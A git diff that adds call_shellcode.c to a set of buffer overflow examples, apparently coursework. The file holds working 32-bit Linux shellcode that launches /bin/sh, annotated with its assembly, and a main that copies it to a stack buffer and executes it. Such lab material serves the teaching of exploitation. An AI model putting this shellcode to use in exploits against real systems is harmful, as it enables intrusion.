adding buffer overflow examples

buffer_overflow_example/demeter/call_shellcode.c

@@ -0,0 +1,27 @@
+/* call_shellcode.c */
+
+/* This program will create a file containing code for launching a shell */
+
+#include <stdlib.h>
+#include <stdio.h>
+
+const char code[] =
+  "\x31\xc0"             /* xorl    %eax,%eax              */
+  "\x50"                 /* pushl   %eax                   */
+  "\x68""//sh"           /* pushl   $0x68732f2f            */
+  "\x68""/bin"           /* pushl   $0x6e69622f            */
+  "\x89\xe3"             /* movl    %esp,%ebx              */
+  "\x50"                 /* pushl   %eax                   */
+  "\x53"                 /* pushl   %ebx                   */
+  "\x89\xe1"             /* movl    %esp,%ecx              */
+  "\x99"                 /* cdq                            */
+  "\xb0\x0b"             /* movb    $0x0b,%al              */
+  "\xcd\x80"             /* int     $0x80                  */
+;
+
+int main(int argc, char **argv)
+{
+   char buf[sizeof(code)];
+   strcpy(buf, code);
+   ((void(*)( ))buf)( );
+}